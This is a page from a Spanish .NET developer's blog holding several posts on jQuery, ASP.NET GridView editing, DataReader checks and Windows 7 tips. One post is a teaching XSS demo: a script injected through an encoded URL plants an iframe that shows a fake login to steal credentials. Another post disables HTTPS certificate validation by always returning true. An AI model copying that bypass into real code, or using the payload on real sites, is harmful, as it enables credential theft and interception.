Marc Rubiño

ASP.NET, C#, AJAX.NET, JavaScript, etc.
Vuelve el Reto !!!!

Como ya se avisó anteriormente hoy esta disponible el segundo reto de Net Minds, ya puedes acceder a la segunda prueba para conseguir tu subscripción Visual Studio Ultimate con MSDN Premium.

http://msdn.microsoft.com/es-es/net_minds.aspx

minds

Buscar en un TreeView con Autocomplete y JQuery

Para que una aplicación web tenga un interfaz de usuario fácil de utilizar y facilitemos su usabilidad no hay más remedio que pasar por un lenguaje script y por eso cada vez que tengo la oportunidad me gusta hacer alguna práctica con JavaScript y en este caso utilizando la librería JQuery que facilita nos facilita mucho esta tarea.

La excusa que utilizo hoy para hacer este ejemplo es una petición en los foros MSDN para hacer una búsqueda de texto en un TreeView y poder seleccionar posteriormente el nodo que coincida con esta selección.

Para esto voy a utilizar un plugin de Jquery que provee a los inputs la extensión de mostrar un autoComplete donde se mostraran los textos de los nodos que coincidan con el texto introducido en el input.

Para las referencias a las librerías Jquery utilizare CDN para aprovechar sus beneficios y no tener obligatoriamente las librerías en nuestro proyecto.

Empecemos!!!

Crearemos un proyecto web que contendrá una página aspx con un simple input html y un treeview que llenaremos con los mismos campos que piden en la consulta del foro.

image

Lo único que tenemos que tener en cuenta, es que necesitamos un identificador para el input y especificar un estilo al treeview que utilizaremos para localizar el control al cargar la página.

<input id="example" />
<asp:TreeView ID="TreeView1" runat="server" CssClass="TreeN">
  <ParentNodeStyle CssClass="ItemNodeTree" />

Una vez preparada la página crearemos un fichero .JS donde pondremos nuestro código javaScript para darle la funcionalidad al ejemplo.

<script src="JS/JScript.js" type="text/javascript"/>

Primera parte del script:

1. Inicializar el autocomplet y cargar los datos del treeview.

$(document).ready(function() {
    var data = CargarDatos();

    $("#example").autocomplete(data, {

        //Texto a mostrar en el input
        formatItem: function(item) {
            return item.text;
        }
    }).result(function(event, item) {
        //Identificador del Nodo
        Seleccionar(item.id);
    });
});

Al cargar la página llamamos a la función CargarDatos() que recorrerá el treeView para retornar un array de objetos que contendrán el texto y el identificador de cada nodo. Cuando se lanza el evento al seleccionar el registro se llamará a la función Seleccionar pasando el identificador del nodo como parámetro.

 

image

 

2. CargarDatos utiliza la potencia de los selectores de JQuery para seleccionar los nodos y llenar el array con la información necesaria del nodo.

function CargarDatos() {

    var treeN = $(".TreeN");
    var items = new Array();
    if (treeN.length){
      var nodo = $("#"+treeN[0].id + " td: a" );
      for (var index = 0; index < nodo.length; index++) {      
        items[index] = { text: nodo[index].innerText, id: nodo[index].id };      
      }      
    }
    return items;
}

3. Seleccionar selecciona el nodo del treeView y le asigna el estilo adecuado para resaltar el registro seleccionado.

function Seleccionar(treeID) {

    //Limpiamos los estilos seleccionados anteriormente
    var es = $('.SelectedNodeTree');
    for (var index = 0; index < es.length; index++) {
        es[index].className = "ItemNodeTree";
    }   
    
    //Definimos el estilo seleccionado al item correcto
    $("#" + treeID)[0].className = "SelectedNodeTree";
}

Resultado final:

image                  image

Como podéis comprobar con tres simples funciones javaScript hemos dotado a nuestra aplicación una potente funcionalidad en el lado del cliente que mejora la experiencia de usuario y enriquece nuestras aplicación web.

Aplicaciónimages

 

CrossPosting http://lonetcamp.com

Posted: 15/2/2010 22:45 por Marc Rubiño | con 5 comment(s)
Archivado en: ,
Personaliza tu Windows 7

 

0e2628bb-0a55-45d0-b9ba-fac0a3650635

Descarga gratis y personaliza tú Windows 7 con los nuevos Temas disponibles en la página de Microsoft.

http://windows.microsoft.com/en-US/windows/downloads/personalize

Dale a tú Windows 7 un toque personalizado ;-)

Miguel de Icaza nombrado MVP de C#

miguel_de_icazaGracias a un comentario de mi amigo Luis Franco me he enterado que Microsoft ha premiado a Miguel de Icaza con el nombramiento MVP de C# por sus aportaciones a la comunidad.

Esta noticia va a dar mucho de que hablar con unos cuantos compañeros linuxeros, con los que normalmente tenemos numerosas charlas sobre estos temas.

Felicidades por el nombramiento !!

CrossPosting: http://lonetcamp.com

Posted: 16/1/2010 18:48 por Marc Rubiño | con no comments |
Archivado en:
Los videos del CodeCamp 09 disponibles !!!

Ya están disponibles los videos de los tracks que se dieron en el CodeCamp Tarragona 09. Somos conscientes que no son de la calidad que podríamos desear, pero para la gente que no pudo asistir, es la posibilidad de disfrutar de este material.

7823_1228816835324_1076168279_696286_3520989_n

 

 

 

  • Para acceder al material y a la información de los eventos visita la web http://codecamp.es

 

 

 

 

 

 

 

 

Saludos.

Posted: 12/1/2010 0:14 por Marc Rubiño | con 5 comment(s)
Archivado en:
GridView Custom Edit

Este año ha sido mucho más productivo de lo que me esperaba y el que comienza parece que me va a deparar nuevos retos personales que espero sean lo más positivos posible.

Para empezar con buen pie y no cejar en mis artículos técnicos, hoy haré un nuevo ejemplo práctico para personalizar un control GridView, permitir editar sus elementos con JavaScript y enviar al servidor de manera asíncrona solo las modificaciones realizadas.

Realmente cada vez existen más controles que nos permiten mejorar la experiencia de usuario y potencian usabilidad de los usuarios. Pero con un poco de tiempo es posible dar este toque a los controles con los que trabajamos cotidianamente.

Para comenzar esta práctica crearemos un nuevo proyecto web y cargaremos una grid con la base de datos NorthWind que no puede faltar en cualquier ejemplo que utilice una base de datos SQL.

gridedit

Para poder editar la grid lo que tenemos que hacer primero es marcar las celdas que se podrán editar con una propiedad llamada "editable",  guardar el nombre del registro para tenerlo a mano a la hora de guardar las modificaciones y agregar el evento onmousedown para que llame a la función javaScript de edición tanto en IE como en Firefox.

  1: protected void GridView1_RowDataBound(object sender, 
  2:    GridViewRowEventArgs e)
  3: {
  4:    if (e.Row.RowType == DataControlRowType.DataRow)
  5:    {
  6:       foreach (TableCell cell in e.Row.Cells)
  7:       {
  8:          cell.Attributes.Add("editable", "true");
  9:          cell.Attributes.Add("columnName", 
 10:            ((System.Web.UI.WebControls.DataControlFieldCell)
 11:               (cell)).ContainingField.HeaderText);
 12:          cell.Attributes.Add("onmousedown", "EditarPrecio(this);");
 13:       }
 14:    }
 15:  }

Una vez preparado el código de servidor que pintará la grid, ya podemos empezar con la funcionalidad en el cliente y para eso utilizaremos diferentes librerías ( JQuery, JSON) y un fichero .js donde se encontrara nuestro código script.

El script de cliente:

*. EditarPrecio( celda ):

Lo primero que haremos es crear un control input para editar el contenido de la celda y como comenté en “Jquery - la potencia sin control no sirve de nada !!” no abusaremos de las funciones Jquery para no perjudicar al rendimiento de nuestro código.

grideditCel

  1: function EditarPrecio(td) {
  2:     
  3:     var tdControl = $(td)[0];
  4:     OcultarTxtEditTodos();
  5: 
  6:     if (tdControl != null && tdControl.innerText != "" 
  7:        && $(td).attr("editable") != null 
  8:        && $(td).attr("editable") == "true") {
  9:         var oldValue = tdControl.innerHTML;
 10:         tdControl.innerHTML = '<input id="txtEditPrecios" '
 11:            + 'onblur="OcultarTxtEdit(this, true);" '
 12:            + 'onkeypress="FiltradoKey(event, this);" '
 13:            + 'class="txtEditPrecios" type="text" value="' 
 14:            + oldValue + '" />';
 15:         $(".txtEditPrecios").focus().select();     
 16:     }
 17: }

4: Ocultamos los posibles inputs que se hayan quedado activados.

10: agregamos el control input a la celda.

11: Al perder el foco evento “onblur” ocultamos el input.

12: Al presionar un tecla evento “onkeypress” detectamos si se presiona la tecla escape para finalizar la edición

15: Otorgamos el foco al input y seleccionamos el contenido para facilitar la edición.

*. OcultarTxtEdit( input, si queremos tabular “bool” ):

 

  1: function OcultarTxtEdit(val, tabular) {
  2:     if (val != null) {
  3:         var txt = $(val);
  4:         var td = txt[0].parentNode;
  5:         if (txt[0].defaultValue != txt[0].value) {
  6:             td.setAttribute("EditVal", txt[0].value);
  7:             td.className = "txtEdit";
  8:         }
  9:         var tdNext = $(td).next();
 10:         td.innerHTML = txt[0].value;
 11: 
 12:         if (tabular)
 13:             if($(tdNext).length)
 14:                EditarPrecio(tdNext);
 15:             else
 16:                 if($(td).parent('tr').next().children().length)
 17:                 EditarPrecio($(td).parent('tr').next().children()[0])
 18:     }
 19: }

5: Comprobamos si el contenido de la celda ha sido modificado.

6: mostramos el nuevo valor.

7: modificamos el estilo para destacar las celdas modificadas.

12: si queremos tabular editamos la siguiente celda

16: si es la última celda de la fila saltaremos a la siguiente fila

grideditCel2

*. OcultarTxtEditTodos():

Oculta todos los inputs de la grid.

  1: function OcultarTxtEditTodos() {
  2:     var txts = $("#txtEditPrecios");
  3:     for (var i = 0; i < txts.length; i++) {
  4:         OcultarTxtEdit($(txts[i]), false); 
  5:     }
  6: }

*. OcultarTxtEditTodos():

Si se presiona la tecla escape salimos de la edición de la celda.

  1: function FiltradoKey(e, txt) {
  2:     var code = (e.keyCode ? e.keyCode : e.which);
  3:     if (code == 27) {
  4:         OcultarTxtEdit(txt, false);
  5:     }
  6: }

YA tenemos nuestra grid con la posibilidad de modificar los registros, con tabulación y cancelación funcionando al 100% !!!!

grideditCel3

grideditCel33

La última parte será habilitar un método de página al que le podremos pasar las celdas modificadas con formato JSon desde el cliente.

*. Tipo:

  1: public class ClienteData
  2: {
  3:     public string id { get; set; }
  4:     public string columna { get; set; }
  5:     public string valor { get; set; }
  6: }

*. ActualizarDatos “Servidor”:

Método del servidor que recupera la información del cliente y convierte el objeto Json en una lista de tipos “ClienteData”:

grideditCelDebug

*. ActualizarDatos “Cliente”:

Función script que recupera todas las celdas que han sido modificadas y crea un objeto json que se envía al servidor.

  1: function ActualizarDatos()
  2: {
  3:     var datos = '';
  4:     var txtEditados = $(".txtEdit");
  5:     for (var i = 0; i < txtEditados.length; i++) {      
  6:         if(i > 0)
  7:             datos += ',';
  8:           
  9:         datos += '{"id":"' 
 10:          + txtEditados[i].parentElement.cells[0].innerText
 11:          +'","columna":"'
 12:          + txtEditados[i].getAttribute("columnName")
 13:          + '","valor":"'+txtEditados[i].innerText
 14:          + '"}';
 15:     }       
 16:     var jDatos = JSON.parse('[' + datos.replace(/;/g, ",")+ ']');   
 17:     PageMethods.ActualizarDatos(jDatos, 
 18:       ActualizarDatosOK, ActualizarDatosKO);
 19: }

4: recupera todas las celdas con el estilo de datos modificado.

9: crea un texto con formato JSon con el identificador del registo, el nombre del campo modificado y el nuevo valor.

16: transforma el texto en un objeto JSon “JSON con ASP.NET II

17: llama al método de página del servidor.

Ya hemos finalizado esta práctica y de una forma muy sencilla hemos mejorado la experiencia de nuestros usuarios. No es tan complicado adaptar los controles ASP.NET para nuestras aplicaciones y a veces es mejor que utilizar complicados controles de terceros.

Aplicaciónimages

Cross-Posting: http://lonetcamp.com

 

¿Eres de mente despierta? Microsoft Net Minds

NET Minds es una serie de tres retos de inteligencia promovido por Microsoft, para medir tus habilidades con el reto de desarrolladores de la comunidad MSDN online. Estos tres retos se publicaran a lo largo de 5 meses. En cada uno de ellos, los 3 ganadores se llevan un Visual Studio Ultimate 2010 con suscripción.

Este primer reto va a ser el más breve debido a la cercanía de Navidad, se abrirá el 14 hasta el 22 de Diciembre, fecha en la cual se anunciarán los ganadores.

Los otros dos serán a partir de Navidades con nuevas pruebas.

¡¡ NO son pruebas de desarrollo, sino de inteligencia !!

minds

Microsoft presenta el remedio más efectivo contra la gripe A

GripeAMicrosoft ha lanzado una campaña de marketing utilizando la gripe A como excusa para reforzar sus soluciones para el Acceso Remoto, Teletrabajo y Planes de Contingencia.

Sin duda una idea muy original sacando partido a la actualidad más candente y dando soluciones a la empresa sin complejos, pero no sé si los trabajadores darán soporte a iniciativas como esta.  

10 puntos para la originalidad de la campaña de Microsoft, me a parecido muy graciosa.

http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html

CrossPosting http://lonetcamp.com

 

Posted: 2/12/2009 21:36 por Marc Rubiño | con no comments
Archivado en: ,
Jquery - la potencia sin control no sirve de nada !!

Yo soy de esos programadores web que están disfrutando con las bondades que nos ofrece JQuery desde su aparición. Esta librería nos simplifica enormemente nuestros desarrollos con JavaScript y los hace mucho más productivos.

Pero hasta ahora realmente no había aprovechado todo su potencial y es precisamente en  esta situación cuando me ha defraudado un poco.

Me explico:

He querido tratar todo un interfaz de usuario con JQuery para optimizar la presentación y evitar las idas y venidas de la página para consultar los datos. Para eso recupero la información para rellenar un control, desde mi capa de datos utilizando un método de página y formato Json, de esta manera se evita enviar la información innecesaria de la página.

Estos datos tienen una estructura mas o menos compleja o al menos más compleja que una simple tabla, porque se tiene que representar en diferentes niveles.

  • Fechas[n]
    • Identificadores[n]
      • Propiedades[n]
        • Valor

test11

Para representar estos datos correctamente en la tabla he generado unos bucles que recorren los datos y los presenta dependiendo de algunas condiciones.

No voy a poner todo mi código pero tendría más o menos este aspecto:

  • Varios bucles anidados para recorrer los registros y generar la tabla.
$($("#" + tabla + " tr:first")[0].cells).each(function() { 

        var diaCell = this;
        diaCell.innerText = result[pos].Key.charAt(0);

  • Modificación del DOM para agregar y eliminar datos de la tabla.
var rowHabitaciones = $("#" + tabla + " tr [hab]");
var reg = "<td>"+name +"</td>";
$(RowHab).after(reg);

Todo perfecto y encantado de lo simple que me ha quedado el código de cliente que tiene que tratar tanta información.

Peroooooo!!! si hay un pero.

Al ejecutar el código está tardando mucho más de lo esperado. Llego a tardar tanto en pintar la tabla que hasta el propio explorador me avisaba de este problema.

test

la potencia sin control no sirve de nada !!

Tenemos que tener en cuenta que Jquery es una librería que encapsula el lenguaje JavaScript para simplificar su uso, eso significa que para nosotros recorrer el DOM es ahora mucho más fácil, pero internamente sigue ejecutando complicadas sentencias para que nuestro código funcione por ejemplo en diferentes navegadores sin problemas.

Por ese motivo tenemos que seguir unas cuantas reglas para que nuestro código sea lo más optimo posible.

Antes de la optimización de mi código he testeado la velocidad que tarda el script en representar los datos inicialmente.

Primera prueba sin optimizar: 17,366 segundos !!!!!

test1

Realmente es impensable tener un script que tarde 17 segundos en pintar una tabla en el cliente.

Ahora voy a seguir unas simples reglas para el uso adecuado de Jquery haber si realmente ganamos algo en eficacia.

  1. Iteraciones: Es recomendable utilizar en lo posible las funciones nativas del navegador y evitar utilizar directamente los objetos del DOM en estas. Es más preferible utilizar texto y añadir este al final de la iteración.
  2. Añadir elementos al DOM: Siguiendo el anterior consejo, si tenemos que agregar una gran cantidad de objetos al DOM, es mejor añadir todos los objetos de una vez que irlos añadiendo progresivamente.
  3. NO abusar de los selectores: Es muy fácil abusar de los selectores por su gran potencia. Utilizar variables con los resultados de los selectores para su reutilización.

Muchos más consejos en improve-your-jquery-25-excellent-tips.aspx

Después de limpiar, reorganizar, no abusar de los objetos DOM y utilizar for en decremento de los cómodos each este es el resultado.

Segunda prueba con el código optimizado: 0,361 segundos !!!!!

test2

Realmente si cuidamos un poco la forma de utilizar Jquery sumado con el clásico JavaScript podemos tener un código mucho más optimizado para utilizar con nuestro interfaces de usuario.

Yo al menos en esta práctica me he ahorrado 17 segundos ni más ni menos y mi control está funcionando al 100%.

CrossPosting http://lonetcamp.com

Evento Seguridad Web XSS y buenas prácticas

Para los despistados o los que no se hayan enterado aún del evento, mañana Martes 17 de Noviembre de 2009, los chicos de secondnug con sus ya famosos  webCasts, me han pedido que repita la charla que hice en el CodeCamp 09 sobre como podemos evitar los típicos ataques web XSS, Inyección SQL, etc.

Si os interesa el tema no os podéis perder esta introducción 100% práctica de la seguridad web con buenas prácticas.

Apuntaros antes de que se cierren las inscripciones !!!

2f39cfe4-77da-4b2a-a322-b9a6ee133e7a

Microsoft Facebook en mi Windows Mobile 6.1

scr_facebook01

Hace poquito tiempo que he estrenado un nuevo teléfono con Windows Mobile 6.1

Tengo que reconocer que no tengo mucha experiencia con este sistema y me ha costado un poco configurar el acceso a datos del dispositivo.

Pero lo bueno ha sido cuando he querido instalar la versión de Facebook que Microsoft a creado para Windows Mobile para las versiones 6.*

No ha habido manera que utilizará la conexión correctamente y se conectara a internet, he reinstalando una y otra vez la versión castellana, ingles y porque no tenía el chino. Pero finalmente después de navegar mucho he encontrad la versión que conecta y me deja disfrutar de esta aplicación en mi móvil.

Os adjunto los ficheros necesarios.

Aplicaciónimages     Idioma Castellano  images

Posted: 12/11/2009 21:33 por Marc Rubiño | con no comments
Archivado en:
¿Existe la columna con DataReader?

En mi empresa desde un principio hemos utilizado una herramienta propia para generar la capa de lógica de negocios, adaptada  al 100% a nuestras necesidades  y que ha ido creciendo con el tiempo. Eso nos ha beneficiado en tener controlado en todo momento nuestros objetos de negocio y nos ha evitado tener que hacer un salto obligatorio para utilizar alguno de los ORM que existen en el mercado, como puede ser: Entity Framework, NHibernate, etc.

Nuestra capa de acceso a datos “DAL” encapsula toda la lógica de conexiones a datos independientemente del proveedor y hay una de las funciones que retorna un lector de datos para poder personalizar la lectura de los datos desde la capa de lógica de Negocios.

 /// <summary>
 /// Ejecuta el comando creado y retorna el lector.
 /// </summary>
 /// <returns>El resultado de la consulta.</returns>
 public DbDataReader EjecutarConsulta(string cmd, CommandType tipo)
 {
     this.comando.CommandText = cmd;
     this.comando.CommandType = tipo;
     this.Conectar();
     return this.comando.ExecuteReader();
 }

Eso facilita la carga del objeto de negocio y optimiza la lectura.

DbDataReader reader = null;
Using (Dal dal = new Dal())
{
  string command = "select id, nombre, descripcion from productos";
  reader = dal.EjecutarConsulta(command, CommandType.Text);
  while (reader.Read())
  {
    ...

Pero uno de los problemas habituales que nos encontraremos con el objeto DataReader es que si no nos gusta leer los datos por posición, como es mi caso y preferimos controlar la columna que deseamos leer. Nos podemos encontrar con el horrible error que no se encuentra la columna que estamos intentando leer.

Ya podemos intentar validar si el objeto es null, pero no funciona:

capas

O si el dato está vacio:

capas2

Para poder validar si la columna que estamos consultando existe podemos tener una función en nuestro DAL que valide esta situación utilizando el propio esquena de la tabla:

public bool ValidarColumna( DbDataReader reader, string nombreColumna)
{
   reader.GetSchemaTable().DefaultView.RowFilter = 
     "ColumnName= '"  + nombreColumna + "'";
   return (reader.GetSchemaTable().DefaultView.Count > 0);
}

Finalmente cuando queramos hacer la consulta de los datos utilizaremos el validador para evitar errores no controlados en el acceso a datos.

 using (Dal dal = new Dal())
 {
    string command = @"select id, nombre, descripcion 
";
        from productos
    reader = dal.EjecutarConsulta(command, CommandType.Text);
    while (reader.Read())
    {
      ProductoData produc = new ProductoData();
      produc.ID = (dal.ValidarColumna(reader, "ID") 
        && reader["ID"] != DBNull.Value)?(int)reader["ID"]:0;
      produc.Nombre = (dal.ValidarColumna(reader, "Nombre")
        && reader["Nombre"] != DBNull.Value)
        ?reader["Nombre"].ToString():string.Empty;
      listaProductos.Add(produc);
    }
}

Es una forma un poco rebuscada, pero no conozco ninguna otra forma de verificar esta información.

Espero que os sea útil.

CrossPosting de http://lonetcamp.com

Posted: 10/11/2009 23:17 por Marc Rubiño | con 9 comment(s)
Archivado en: ,
Utilidad Lupa de Windows 7

Hasta ahora hemos disfrutado de la herramienta como ZoomIt para hacer Zoom en nuestras presentaciones y ayudarnos a mostrar partes de la pantalla a nuestra audiencia de una manera muy fácil y eficiente, pero ahora podemos contar con una utilidad incluida en Windows 7 llamada Lupa y que cumple la misma función. Pero a mi parecer se ha mejorando el sistema, porque aparte de poder hacer zoom se puede seguir interactuando igualmente con la aplicación sin problemas de forma aumentada.

lupa

Soporta diferentes modos de zoom:

  • Pantalla Completa
  • Modo Lente
  • Modo Acoplado

Métodos abreviados de teclado:

Método Abreviado 

Acción 

Tecla del logotipo de Windows clip_image002+ signo más o signo menos

Acercar o alejar 

Ctrl+Alt+Barra espaciadora 

Mostrar el puntero del mouse

Ctrl+Alt+F 

Cambiar al modo de pantalla completa 

Ctrl+Alt+L 

Cambiar al modo de lente 

Ctrl+Alt+D 

Cambiar al modo acoplado 

Ctrl+Alt+I 

Invertir colores 

Ctrl+Alt+teclas de dirección

Movimiento panorámico en el sentido de las teclas de dirección 

Ctrl+Alt+R 

Cambiar el tamaño de la lente

Tecla del logotipo de Windows clip_image002+Esc 

Cerrar la Lupa 

Realmente una utilidad que nos será muy útil para nuestras presentaciones.

CrossPosting de http://lonetcamp.com

 

Ejemplo inyección XSS + Material

Toda una experiencia el paso por el CodeCamp y una de las sesiones fue mi introducción a las buenas prácticas para defenderse de los ataques XSS.

Un tema como este es difícil concentrarlo en 60 minutos y se me quedaron muchos ejemplos en el tintero.

Para empezar podéis bajaros la presentación y la web de pruebas que realicé para poder probar las diferentes técnicas XSS en el siguiente link. 

webimages    DBimages

Ahora terminaré uno de los ejemplos que me parece muy interesante y no pude realizar por falta del valioso tiempo.

Ejemplo de XSS indirecto para robar la información del usuario:

1. URL vulnerable al ataque: A la url se le pasa el nombre de la revista y el la foto.

urlXss

2. La página: Muestra la información directamente sin validar los datos y es vulnerable a la inyección de código script y HTML.

NoticiaXss

3. Fichero JS: Como el ataque que planteamos es bastante elaborado necesitaríamos introducir muchos texto en la url, y por ese motivo utilizaremos un recurso externo como un fichero JS para realizar el ataque.

onload = function XSS() {

    ifrm = document.createElement("IFRAME");
    ifrm.setAttribute("src", "http://localhost:51001/WebHack/Login.aspx");
    ifrm.style.width = 350 + "px";
    ifrm.style.height = 300 + "px";
    ifrm.frameBorder = "0";
    var img = document.getElementById("ctl00_ContentPlaceHolder1_foto")
    img.parentNode.appendChild(ifrm);
    img.style.display = "none";
}

Este script modifica el documento atacado “que previamente hemos estudiado” para insertar un iframe el cual utilizará una página intrusa para pedir los datos al usuario de su cuenta , haciéndole creer que su sesión ha caducado.

4. Url Modificada: Insertaremos un script en la url para mostrar el iframe en el lugar de la imagen.

ASCII:

…revista.aspx?&revista=Jaque<script src="http://localhost/WebHack/css/Hack.js"></script>

HEX:

…revista.aspx?&revista=Jaque%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%57%65%62%48%61%63%6B%2F%63%73%73%2F%48%61%63%6B%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

5. Página con la url atacada:

ataqueXss

Espero que la sesión del CodeCamp y el ejemplo hayan sido de vuestro agrado.

Cross-Posting: http://lonetcamp.com

Posted: 21/10/2009 1:39 por Marc Rubiño | con 2 comment(s)
Archivado en: ,,
¿Qué es Comunidad ?

Después de este fin de semana donde han pasado tantas cosas y donde después de tanto tiempo se han cumplido con creces nuestras expectativas, puedo decir de primera mano que he experimentado realmente lo que es la comunidad.

La comunidad son 30 ponentes que sin ningún animo de lucro, se comprometen y se esfuerzan para hacer llegar a todo el mundo los temas que más nos interesan sobre la tecnología.

La comunidad son todas esas personas que han dedicado su tiempo durante varios meses  para poder organizar un evento como el CodeCamp y que finalmente haya sido una realidad.

La comunidad son las cerca de 250 personas que han pasado un fin de semana en Tarragona, compartiendo experiencias y conociéndose de igual a igual.

La comunidad son esas comunidades como Mono y los grupos .NET que son capaces de  utilizar en su beneficio los puntos que les unen y dejar en la puerta los que los separan.

Realmente puedo decir que este fin de semana he experimentado y he vivido de cerca lo que realmente es la comunidad, estoy muy contento y orgulloso de poder formar parte de esta familia.

Muchas Gracias a todos por ser parte de la comunidad.

 

CodeCamp Tarragona 2009

PA180756

Posted: 18/10/2009 20:02 por Marc Rubiño | con 5 comment(s) |
Archivado en: ,
Buenas Practicas la mejor defensa (XSS, Inyección SQL...)

41-hakerEsta vez realizaré una introducción para evitar los ataques más extendidos en la web, simplemente utilizando el sentido común y las buenas prácticas de programación. También veremos como utilizar herramientas de detección de vulnerabilidades como CAT.NET y las librerías de codificación Anti-Cross Site Scripting Library.

Todo esto en el CodeCamp Tarragona 09 que se realizará este fin de semana !!!!

Si no te has registrado ya, es posible que ya no puedas :-(

Nos vemos en el CodeCamp.

Quien dijo miedo a la crisis ???

La crisis afecta pero no amarga !!!

Fuente http://www.blip.tv

Hackeada la página del Diario de Barcelona ???

Hace unos días José M Alarcón anunció que unos hackers habían modificado la página de Baquia.com http://geeks.ms/blogs/jalarcon/archive/2009/09/24/baquia-com-hackeado-o-eso-parece.aspx  y ahora me he enterado que han echo lo mismo con el diario de Barcelona http://diariobarcelona.com. 

Parece que últimamente las webs de noticias están soportando más visitas de las esperadas ;-) 

Tendremos que vigilar más de cerca la seguridad de nuestras webs para que no nos den gato por liebre.

Editado: 

Parece ser que no es la primera vez que les pasa esto y ya huele un poco mal el asunto.

¿Al final no sera todo una estrategia viral para conseguir enlaces y visitas diarias?

¿Será un ataque real?

¿Todo vale para conseguir visitas?

 

Posted: 28/9/2009 19:14 por Marc Rubiño | con 8 comment(s)
Archivado en:
Consultar un recurso Https con error en el certificado

Han habido varias consultas en el foro MSDN sobre como poder consultar un recurso web aunque el servidor que utiliza el protocolo https tenga el certificado caducado.

En esta entrada pondré un ejemplo muy simple que se puede utilizar para este menester.

Lo primero que he realizado es un proyecto web que utiliza una clase para enviar una petición xml, por ejemplo si quisiera consumir un servicio web XML en php que no dispone de una descripción pública del interfaz “WSD

La clase se llama Conector y utiliza un método estático que utiliza la clase HttpWebResponse para hacer la petición Http y devuelve el resultado obtenido de la petición como un string.

 

EDITADO (25.09.2009):

Gracias al comentario de eccho me he dado cuenta que la clase CertificatePolicy está en desuso “eso pasa por sacar temas del baúl sin hacer el repaso necesario de las librerías”. hora se recomienda el uso de ServerCertificateValidationCallback, que obtiene o establece la devolución de la llamada para validar un certificado de servidor.

public static string PostXml(string url, string xml, string certificado, string user, string pass)
{
        string resultado = "";
        byte[] bytes = System.Text.Encoding.UTF8.GetBytes(xml);
        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);

        if (!string.IsNullOrEmpty(user) && !string.IsNullOrEmpty(pass))
            request.Credentials = new NetworkCredential(user, pass);
        else
            request.Credentials = new NetworkCredential();

        if (!string.IsNullOrEmpty(certificado))
        {
            try
            {
                X509Certificate certificate = X509Certificate.CreateFromSignedFile(certificado);
                request.ClientCertificates.Add(certificate);

                System.Net.ServicePointManager.ServerCertificateValidationCallback 
+= new System.Net.Security.RemoteCertificateValidationCallback(customXertificateValidation);

            }
            catch (Exception)
            {
                throw new Exception("Error al generar el certificado de cliente. " + certificado);
            }

        }

        request.Method = "POST";
        request.ContentLength = bytes.Length;
        request.ContentType = "text/xml";
        using (System.IO.Stream requestStream = request.GetRequestStream())
        {
            requestStream.Write(bytes, 0, bytes.Length);
        }

        using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
        {
            if (response.StatusCode != HttpStatusCode.OK)
            {
                string message = String.Format("POST failed. Received HTTP {0}",
                response.StatusCode);
                throw new ApplicationException(message);
            }

            //Mostramos la respuesta de la Página
            using (System.IO.StreamReader sr = new System.IO.StreamReader(
                response.GetResponseStream(), System.Text.Encoding.Default))
            {
                resultado = sr.ReadToEnd();
            }
        }

        return resultado;

}

A este método se le pasan varios parámetros:

  1. url –> url a donde haremos la petición-
  2. xml –> texto XML que espera el servidor.
  3. certificado –> ruta física donde tenemos guardado el fichero de certificación.
  4. user –> usuario si necesitamos credenciales de red
  5. pas –> contraseña del usuario de red.

Cabe destacar que para poder conectar con el servidor HTTPS necesitamos el certificado de cliente correcto. Para conseguirlo lo podemos descargar directamente de la web.

1. Accedemos al recurso https “puede que el certificado esté caducado y de un error” seleccionamos Vaya a este sitio web (no recomendado)

Error1

2. Seleccionamos ver el certificado

certificado

3. guardamos el certificado en el disco.

certificado2

Una vez guardado el certificado ya podemos hacer la llamada al recurso web.

protected void Button1_Click(object sender, EventArgs e)
{
   string respuesta = Conector.PostXml("https://test2.com/",
      "<test><dato></dato></test>", 
      "c\\certificado.cer","winUser","PassUser");
        
}

Pero si el certificado no es correcto o está caducado no nos permite hacer la consulta !!!

Entonces lo que tenemos que hacer es personalizar la validación del certificado para que nos devuelva el valor que nos interese en cada caso.

Utilizaremos el delegado ServerCertificateValidationCallback para lanzar la validación personalizada del certificado y en nuestro caso devolver true.

ServicePointManager.ServerCertificateValidationCallback 
+= new System.Net.Security.RemoteCertificateValidationCallback(customXertificateValidation);
public static bool customXertificateValidation(object sender,
 System.Security.Cryptography.X509Certificates.X509Certificate cert, 
System.Security.Cryptography.X509Certificates.X509Chain chain, 

System.Net.Security.SslPolicyErrors error)
{
        //return false;
        return true;
}

error2

Esta clase se podría personalizar más para que dependiendo del error devuelva verdadero o falso, gracias a la enumeración con los tipos de error.

public enum CertificateProblem : long
{
    CertEXPIRED = 0x800B0101,
    CertVALIDITYPERIODNESTING = 0x800B0102,
    CertROLE = 0x800B0103,
    CertPATHLENCONST = 0x800B0104,
    CertCRITICAL = 0x800B0105,
    CertPURPOSE = 0x800B0106,
    CertISSUERCHAINING = 0x800B0107,
    CertMALFORMED = 0x800B0108,
    CertUNTRUSTEDROOT = 0x800B0109,
    CertCHAINING = 0x800B010A,
    CertREVOKED = 0x800B010C,
    CertUNTRUSTEDTESTROOT = 0x800B010D,
    CertREVOCATION_FAILURE = 0x800B010E,
    CertCN_NO_MATCH = 0x800B010F,
    CertWRONG_USAGE = 0x800B0110,
    CertUNTRUSTEDCA = 0x800B0112
}

Con esto tenemos todo lo necesario para que nuestro ejemplo esté funcionando perfectamente.

Espero que sea de utilidad.   Ejemplo

Nos vemos en el CodeCamp 09   Cross-Posting http://lonetcamp.com

 

 

Posted: 24/9/2009 0:09 por Marc Rubiño | con 2 comment(s)
Archivado en: ,
Miguel de Icaza con el CodeCamp Tarragona 09

El creador de Mono Miguel Icaza que es un proyecto de código abierto  para crear un  grupo de herramientas libres, basadas en GNU/Linux y compatibles con .NET según lo especificado por el ECMA. Actualmente impulsado por Novell (tras la adquisición de Ximian). Fuente http://es.wikipedia.org/wiki/Proyecto_Mono .

Esta apoyando el Codecamp que pronto se realizará en el Camp de Tarragona y que se está organizando por los grupos de usuarios catalanes de .NET y Mono. Si quieres ver el anuncio del blog de Miguel Icaza puedes visitar  http://tirania.org/blog/archive/2009/Sep-08.html

Espero veros a todos en el CodeCamp. Muy pronto publicaremos la lista definitiva de ponentes!!!

Saludos.Banner2

Más artículos Página siguiente >